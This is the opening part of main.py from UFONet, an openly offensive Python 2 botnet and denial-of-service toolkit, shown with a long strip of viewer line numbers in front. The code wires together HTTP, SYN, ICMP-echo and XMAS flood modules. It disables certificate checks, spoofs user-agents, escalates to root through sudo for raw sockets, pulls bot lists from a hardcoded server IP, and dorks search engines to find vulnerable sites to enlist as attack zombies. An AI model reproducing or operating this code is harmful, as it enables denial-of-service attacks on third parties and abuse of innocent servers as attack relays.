main.py 205 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011301230133014301530163017301830193020302130223023302430253026302730283029303030313032303330343035303630373038303930403041304230433044304530463047304830493050305130523053305430553056305730583059306030613062306330643065306630673068306930703071307230733074307530763077307830793080308130823083308430853086308730883089309030913092309330943095309630973098309931003101310231033104310531063107310831093110311131123113311431153116311731183119312031213122312331243125312631273128312931303131313231333134313531363137313831393140314131423143314431453146314731483149315031513152315331543155315631573158315931603161316231633164316531663167316831693170317131723173317431753176317731783179318031813182318331843185318631873188318931903191319231933194319531963197319831993200320132023203320432053206320732083209321032113212321332143215321632173218321932203221322232233224322532263227322832293230323132323233323432353236323732383239324032413242324332443245324632473248324932503251325232533254325532563257325832593260326132623263326432653266326732683269327032713272327332743275327632773278327932803281328232833284328532863287328832893290329132923293329432953296329732983299330033013302330333043305330633073308330933103311331233133314331533163317331833193320332133223323332433253326332733283329333033313332333333343335333633373338333933403341334233433344334533463347334833493350335133523353335433553356335733583359336033613362336333643365336633673368336933703371337233733374337533763377337833793380338133823383338433853386338733883389339033913392339333943395339633973398339934003401340234033404340534063407340834093410341134123413341434153416341734183419342034213422342334243425342634273428342934303431343234333434343534363437343834393440344134423443344434453446344734483449345034513452345334543455345634573458345934603461346234633464346534663467346834693470347134723473347434753476347734783479348034813482348334843485348634873488348934903491349234933494349534963497349834993500350135023503350435053506350735083509351035113512351335143515351635173518351935203521352235233524352535263527352835293530353135323533353435353536353735383539354035413542354335443545354635473548354935503551355235533554355535563557355835593560356135623563356435653566356735683569357035713572357335743575357635773578357935803581358235833584358535863587358835893590359135923593359435953596359735983599360036013602360336043605360636073608360936103611361236133614361536163617361836193620362136223623362436253626362736283629363036313632363336343635363636373638363936403641364236433644364536463647364836493650365136523653365436553656365736583659366036613662366336643665366636673668366936703671367236733674367536763677367836793680368136823683368436853686368736883689369036913692369336943695369636973698369937003701370237033704370537063707370837093710371137123713371437153716371737183719372037213722372337243725372637273728372937303731373237333734373537363737373837393740374137423743374437453746374737483749375037513752375337543755375637573758375937603761376237633764376537663767376837693770377137723773377437753776377737783779378037813782378337843785378637873788378937903791379237933794379537963797379837993800380138023803380438053806380738083809381038113812381338143815381638173818381938203821382238233824382538263827382838293830383138323833383438353836383738383839384038413842384338443845384638473848384938503851385238533854385538563857385838593860386138623863386438653866386738683869387038713872387338743875387638773878387938803881388238833884388538863887388838893890389138923893389438953896389738983899390039013902390339043905390639073908390939103911391239133914391539163917391839193920392139223923392439253926392739283929393039313932393339343935393639373938393939403941394239433944394539463947394839493950395139523953395439553956395739583959396039613962396339643965396639673968396939703971397239733974397539763977397839793980398139823983398439853986398739883989399039913992399339943995399639973998399940004001400240034004400540064007400840094010401140124013401440154016401740184019402040214022402340244025402640274028402940304031403240334034403540364037403840394040404140424043404440454046404740484049405040514052405340544055405640574058405940604061406240634064406540664067406840694070407140724073407440754076407740784079408040814082408340844085408640874088408940904091409240934094409540964097
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import os, sys, re, traceback, random, time, threading, base64, string, math
  10. import StringIO, socket, httplib, urllib, urllib2, ssl, cgi, json, gzip
  11. from uuid import getnode
  12. from urlparse import urlparse
  13. from random import randrange, shuffle
  14. from options import UFONetOptions
  15. from update import Updater
  16. from herd import Herd
  17. from zombie import Zombie
  18. from doll import Doll
  19. from core.tools.inspector import Inspector
  20. from core.tools.abductor import Abductor
  21. from core.tools.ufoscan import UFOSCAN
  22. from core.mods.loic import LOIC
  23. from core.mods.loris import LORIS
  24. from core.mods.ufosyn import UFOSYN
  25. from core.mods.spray import SPRAY
  26. from core.mods.smurf import SMURF
  27. from core.mods.xmas import XMAS
  28. class UFONet(object):
  29. def __init__(self):
  30. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  31. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  32. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  33. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] / Try [DIY] your own mirror
  34. self.external_check_service1 = 'https://downforeveryoneorjustme.com/' # set external check service 1 [OK! 13/12/2018]
  35. self.external_check_service2 = 'https://status.ws/' # set external check service 2 [OK! 13/12/2018]
  36. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  37. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 15/12/2018]
  38. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 15/12/2018]
  39. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 15/12/2018]
  40. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  41. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  42. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  43. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  44. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  45. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  46. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  47. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  48. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  49. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  50. self.timeline_file = 'docs/VERSION' # set source for code releases
  51. self.news_file = "server/news.txt" # set source path to retrieve [Blackhole] [News]
  52. self.missions_file = "server/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  53. self.board_file = "server/board.txt" # set source path to retrieve [Blackhole] [Board]
  54. self.grid_file = "server/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  55. self.wargames_file = "server/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  56. self.referer = '' # black magic
  57. self.port = "8080" # default injection port
  58. self.mothershipname = "core/txt/shipname.txt"
  59. self.mothership_baptism() # generating static name/id for your mothership ;-)
  60. self.head = False
  61. self.payload = False
  62. self.external = False
  63. self.attack_mode = False
  64. self.connection_failed = False
  65. self.total_possible_zombies = 0
  66. self.herd = Herd(self)
  67. self.sem = False
  68. self.db_flash = 0 # db stress counter
  69. self.total_aliens = 0
  70. self.aliens_hit = 0
  71. self.aliens_fail = 0
  72. self.total_droids = 0
  73. self.droids_hit = 0
  74. self.droids_fail = 0
  75. self.total_ucavs = 0
  76. self.ucavs_hit = 0
  77. self.ucavs_fail = 0
  78. self.total_rpcs = 0
  79. self.rpcs_hit = 0
  80. self.rpcs_fail = 0
  81. self.total_loic = 0
  82. self.total_loris = 0
  83. self.total_syn = 0
  84. self.total_spray = 0
  85. self.total_smurf = 0
  86. self.total_xmas = 0
  87. self.total_zombies_failed_connection = 0
  88. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  89. self.ctx.check_hostname = False
  90. self.ctx.verify_mode = ssl.CERT_NONE
  91. self.nat_error_flag = "OFF"
  92. self.trans_zombies = 0
  93. self.scanned_zombies = 0
  94. self.loadcheck_counter = 0
  95. self.loadcheck_prev_size = None
  96. self.loadcheck_prev_load = None
  97. self.loadcheck_first_size = None
  98. self.loadcheck_first_load = None
  99. self.loadcheck_size_list = []
  100. self.loadcheck_load_list = []
  101. self.loadcheck_size_median = None
  102. self.loadcheck_size_max = None
  103. self.loadcheck_size_min = None
  104. self.loadcheck_load_median = None
  105. self.loadcheck_size_max = None
  106. self.loadcheck_size_min = None
  107. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  108. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  109. self.expire_timing = 30 # default expiring time per round
  110. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  111. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  112. def mothership_baptism(self):
  113. if os.path.exists(self.mothershipname) == True:
  114. f = open(self.mothershipname)
  115. self.mothership_id = f.read()
  116. f.close()
  117. else:
  118. self.mothership_ids = []
  119. f = open(self.motherships_file)
  120. motherships = f.readlines()
  121. f.close()
  122. for ship in motherships:
  123. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  124. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()))
  125. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  126. m.write(str(self.mothership_id.upper()))
  127. m.close()
  128. def create_options(self, args=None):
  129. self.optionParser = UFONetOptions()
  130. self.options = self.optionParser.get_options(args)
  131. if not self.options:
  132. return False
  133. return self.options
  134. def banner_welcome(self):
  135. print " 0===============================================0"
  136. print " || ||"
  137. print " (00) || * Botnet -> [DDoS]: ||"
  138. print " (O)_ (O) '----' (O) _(O) || ||"
  139. print " | |.''.( xx ).''.| | || /Zombies : HTTP GET bots ||"
  140. print " .'.' |'..'| '.'. || /Droids : HTTP GET (+params) bots ||"
  141. print " .-. .' /'--.__|____|__.--'\ '. .-. || /Aliens : HTTP POST bots ||"
  142. print " (O).)-| | \ x | |x / | |-(.(O) || /UCAVs : Web Abusing bots ||"
  143. print " `-' '-'-._'-./ ---- \.-'_.-'-' `-' || /X-RPCs : XML-RPC bots ||"
  144. print " _ | | '-.___||___.-' | | _ || /SPRAY : TCP-SYN reflector ||"
  145. print " .' _ | | O | __ | O | | _ '. || /SMURF : ICMP echo flooder ||"
  146. print " / .' ''.| || | /____\ | || |.'' '. \ || ||"
  147. print " | ' | =| | ###### | |= |' | || * Close Combat -> [DoS]: ||"
  148. print " | |(0)| '. \||__**_ ||/ .' |(0)| | || ||"
  149. print " \ '._.' '. | \_##_/ | .' '._.' / || /LOIC : Fast HTTP requests ||"
  150. print " '.__ ______'.|__'--'__|.'______ __.' || /LORIS : Slow HTTP requests ||"
  151. print " .'_.-| |-._'. || /UFOSYN : TCP-SYN flooder ||"
  152. print " || /XMAS : TCP-XMAS flooder ||"
  153. print " + Class: UFONet / ViPR404+ (model D) + || ||"
  154. print " 0|=============================================|0"
  155. print ""
  156. def banner(self):
  157. print '='*75, "\n"
  158. print "888 888 8888888888 .d88888b. 888b 888 888 "
  159. print "888 888 888 d88P Y888b 8888b 888 888 "
  160. print "888 888 888 888 888 88888b 888 888 "
  161. print "888 888 8888888 888 888 888Y88b 888 .d88b. 888888 "
  162. print "888 888 888 888 888 888 Y88b888 d8P Y8b 888 "
  163. print "888 888 888 888 888 888 Y88888 88888888 888 "
  164. print "Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. "
  165. print " 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888"
  166. print self.optionParser.description, "\n"
  167. print '='*75
  168. def generate_exit_msg(self):
  169. m = ["Oderint dum metuant!", "Ad susceptum perficiendum!", "Chao ab ordo!", "Obscuris vera involvens!", "Omnia mutantur, nihil interit!", "Orbis unum!", "Si vis pacem, para bellum!", "Homo homini lupus!", "Causa de timendi est nescire!", "Adhuc tempus!", "Iniqua nunquam regna perpetuo manent!", "Ab uno disce omnes!", "Unus pro omnibus, omnes pro uno!", "Age quod agis!", "Natalis solis invicti!", 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!', 'Keep learning!', 'Freedom is not measured, freedom is enjoyed!', 'Cr4ck the syst3m!', 'Hack the Planet!', 'Thanks and good luck!']
  170. self.exit_msg = "Generating random exit... \n\n"
  171. self.exit_msg += " -> "+str(random.choice(m).strip())
  172. def AI(self):
  173. try:
  174. import turtle as AI
  175. print "\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n"
  176. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  177. bg = random.choice(colors).strip()
  178. t = AI.Pen()
  179. AI.bgcolor(bg)
  180. r = random.randrange(100,100000)
  181. for x in range(r):
  182. t.pencolor(colors[x%6])
  183. w = random.randrange(100,1000)
  184. t.width(x/w + 1)
  185. t.forward(x)
  186. l = random.randrange(50,1000)
  187. t.left(l)
  188. except:
  189. print "[AI] %!$1#9#84#~... -> [Exiting!]"
  190. pass
  191. def round_float(self, num):
  192. return str(int(round(num, -1)))[2] # black magic
  193. def show_mac_address(self):
  194. mac = getnode() # to get physical address
  195. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  196. return hex_mac
  197. def show_ips(self):
  198. import requests
  199. try:
  200. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  201. s.connect(("8.8.8.8", 80))
  202. private_ip = s.getsockname()[0] # black magic
  203. s.close()
  204. except:
  205. private_ip = "Unknown"
  206. try:
  207. public_ip = requests.get(self.check_ip_service3).text
  208. except:
  209. try:
  210. public_ip = requests.get(self.check_ip_service2).text
  211. except:
  212. try:
  213. public_ip = requests.get(self.check_ip_service1).text
  214. except:
  215. public_ip = "Unknown"
  216. return private_ip, public_ip
  217. def try_running(self, func, error, args=None):
  218. options = self.options
  219. args = args or []
  220. try:
  221. return func(*args)
  222. except Exception as e:
  223. if options.verbose:
  224. print(error, "error")
  225. traceback.print_exc()
  226. def checkeuid(self):
  227. try:
  228. euid = os.geteuid()
  229. except:
  230. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  231. print "[AI] "+self.exit_msg+"\n"
  232. sys.exit(2) # return
  233. return euid
  234. def start_ship_engine(self):
  235. self.agents = [] # generating available user-agents
  236. f = open(self.agents_file)
  237. agents = f.readlines()
  238. f.close()
  239. for agent in agents:
  240. self.agents.append(agent)
  241. self.user_agent = random.choice(self.agents).strip()
  242. self.search_engines = [] # available dorking search engines
  243. self.search_engines.append('bing') # [30/12/2018: OK!]
  244. self.search_engines.append('yahoo') # [30/12/2018: OK!]
  245. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  246. #self.search_engines.append('duck') [09/08/2016: deprecated! -> duck has removed 'inurl' operator]
  247. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  248. if not os.path.exists("core/json/"): # create gui json cfg files folder
  249. os.mkdir("core/json/")
  250. self.banner_welcome()
  251. self.update_flying_stats() # update flying time stats
  252. chargo = self.check_mothership_chargo() # check mothership chargo
  253. self.update_max_chargo(int(chargo)) # update max chargo stats
  254. self.generate_exit_msg() # generate random exit msg
  255. def run(self, opts=None):
  256. if opts:
  257. self.create_options(opts)
  258. options = self.options
  259. # start threads
  260. if not self.options.threads:
  261. self.options.threads=5 # default number of threads
  262. self.sem = threading.Semaphore(self.options.threads)
  263. # start ship engine
  264. self.start_ship_engine()
  265. # check proxy options
  266. proxy = options.proxy
  267. if options.proxy:
  268. try:
  269. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  270. m = re.search(pattern, proxy)
  271. if m is None:
  272. self.banner()
  273. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  274. return
  275. else:
  276. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  277. except Exception:
  278. self.banner()
  279. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  280. return
  281. # check tor connection
  282. if options.checktor:
  283. url = self.check_tor_url # TOR status checking site
  284. self.banner()
  285. print "\nSending request to: " + url + "\n"
  286. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  287. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  288. try:
  289. if options.proxy: # set proxy
  290. self.proxy_transport(options.proxy)
  291. req = urllib2.Request(url, None, headers)
  292. tor_reply = urllib2.urlopen(req, context=self.ctx).read()
  293. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  294. if not tor_reply or 'Congratulations' not in tor_reply:
  295. print("It seems that Tor is not properly set.\n")
  296. print("IP address appears to be: " + your_ip + "\n")
  297. else:
  298. print("Congratulations!. Tor is properly being used :-)\n")
  299. print("IP address appears to be: " + your_ip + "\n")
  300. except:
  301. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  302. sys.exit(2) # return
  303. # run AES256+HMAC-SHA1 enc/dec tool
  304. if options.cryptomsg:
  305. from server.crypter import Cipher
  306. from base64 import b64encode, b64decode
  307. print " "
  308. print " ____...------------...____ "
  309. print " _.-'' /o/__ ____ __ __ __ \o\_`'-._ "
  310. print " .' / / \ \ '. "
  311. print " |=====/o/======================\o\=====| "
  312. print " |____/_/________..____..________\_\____| "
  313. print " / _/ \_ <_o#\__/#o_> _/ \_ \ "
  314. print " \__/_____\####/0213411543/####/_____\__/ "
  315. print " |===\!/========================\!/===| "
  316. print " | |=| .---. |=| | "
  317. print " |===|o|=========/ \========|o|===| "
  318. print " | | | \() ()/ | | | "
  319. print " |===|o|======{'-.) A (.-'}=====|o|===| "
  320. print " | __/ \__ '-.\uuu/.-' __/ \__ | "
  321. print " |==== .'.'^'.'.====|====.'.'^'.'.====| "
  322. print " | _\o/ __ {.' __ '.} _ _\o/ _| "
  323. print " '''''''''''''''''''''''''''''''''''''' "
  324. print "\nUFONet Crypter (AES256+HMAC-SHA1)\n"
  325. print " -> (140 plain text chars = 69 encrypted chars)\n"
  326. text = str(raw_input("- Enter text: "))
  327. input_key = str(raw_input("- Enter key: "))
  328. key = b64encode(input_key)
  329. c = Cipher(key, text)
  330. msg = c.encrypt()
  331. c.set_text(msg)
  332. print '\n-> Ciphertext: [', msg, ']'
  333. print '\nLength:', len(msg)
  334. print '\n-> Key (share it using SNEAKNET!):', input_key
  335. print '\nDecryption PoC:', c.decrypt(), "\n"
  336. # run shownet tool
  337. if options.shownet:
  338. hex_mac = self.show_mac_address()
  339. self.banner()
  340. print "-> Network Info:"
  341. print '='*44
  342. print "-"*35
  343. print "|- MAC Address :", hex_mac
  344. print "|" +"-"*34
  345. private_ip, public_ip = self.show_ips()
  346. print "|- IP Private :", private_ip
  347. print "|" +"-"*34
  348. t = urlparse(self.check_ip_service3)
  349. name_service = t.netloc
  350. print "|- IP Public :", public_ip +" | ["+name_service+"]"
  351. print "-"*35
  352. print '='*75, "\n"
  353. # run UFOSCAN tool (check EUID when running UFOSCAN)
  354. if options.xray:
  355. euid = self.checkeuid()
  356. if euid != 0:
  357. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  358. try:
  359. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  360. os.execlpe('sudo', *args)
  361. except:
  362. pass # keep running
  363. else:
  364. if not options.xrayps:
  365. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  366. ports = options.xrayps
  367. try:
  368. portX, portY = ports.split('-')
  369. try:
  370. portX = int(portX)
  371. portY = int(portY)
  372. except:
  373. portX = 1
  374. portY = 1024
  375. print "[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n"
  376. except:
  377. portX = 1
  378. portY = 1024
  379. print "[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n"
  380. self.banner()
  381. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  382. print '='*22 + '\n'
  383. try:
  384. self.instance = UFOSCAN() # instance main class for scanning operations
  385. xray = self.instance.scanning(options.xray, portX, portY)
  386. except Exception, e:
  387. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  388. if self.options.verbose:
  389. traceback.print_exc()
  390. return
  391. # show code timeline
  392. if options.timeline:
  393. f = open(self.timeline_file, 'r')
  394. releases = f.readlines()
  395. f.close()
  396. self.banner()
  397. print "-> Code timeline:"
  398. print '='*44
  399. print "-"*35
  400. for r in releases:
  401. print r.strip('\n')
  402. print "-"*35
  403. print '='*75, "\n"
  404. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  405. if options.ufosyn:
  406. euid = self.checkeuid()
  407. if euid != 0:
  408. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  409. try:
  410. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  411. os.execlpe('sudo', *args)
  412. except:
  413. pass # keep running, but UFOSYN will fail
  414. # check EUID when running SPRAY (root required)
  415. if options.spray:
  416. euid = self.checkeuid()
  417. if euid != 0:
  418. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  419. try:
  420. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  421. os.execlpe('sudo', *args)
  422. except:
  423. pass # keep running, but SPRAY will fail
  424. # check EUID when running SMURF (root required)
  425. if options.smurf:
  426. euid = self.checkeuid()
  427. if euid != 0:
  428. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  429. try:
  430. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  431. os.execlpe('sudo', *args)
  432. except:
  433. pass # keep running, but SMURF will fail
  434. # check EUID when running XMAS (root required)
  435. if options.xmas:
  436. euid = self.checkeuid()
  437. if euid != 0:
  438. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  439. try:
  440. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  441. os.execlpe('sudo', *args)
  442. except:
  443. pass # keep running, but XMAS will fail
  444. # search for [Zombies] on search engines results (dorking)
  445. if options.search:
  446. zombies = []
  447. if options.engine:
  448. engine = options.engine
  449. else:
  450. engine = "yahoo" # default search engine
  451. try:
  452. self.banner()
  453. if not os.path.exists(self.humans_file) == True:
  454. f = open(self.humans_file, 'w')
  455. f.close()
  456. lf = open(self.humans_file, 'r')
  457. restored = lf.readlines()
  458. zombies_restored = len(restored)
  459. lf.close()
  460. lz = open(self.zombies_file, 'r')
  461. zombies_army = lz.readlines()
  462. for zombie in zombies_army:
  463. zombies.append(zombie) # add zombies from army to the zombies pool
  464. lz.close()
  465. if len(restored) > 0:
  466. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  467. if not self.options.forceyes:
  468. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  469. print '-'*25
  470. else:
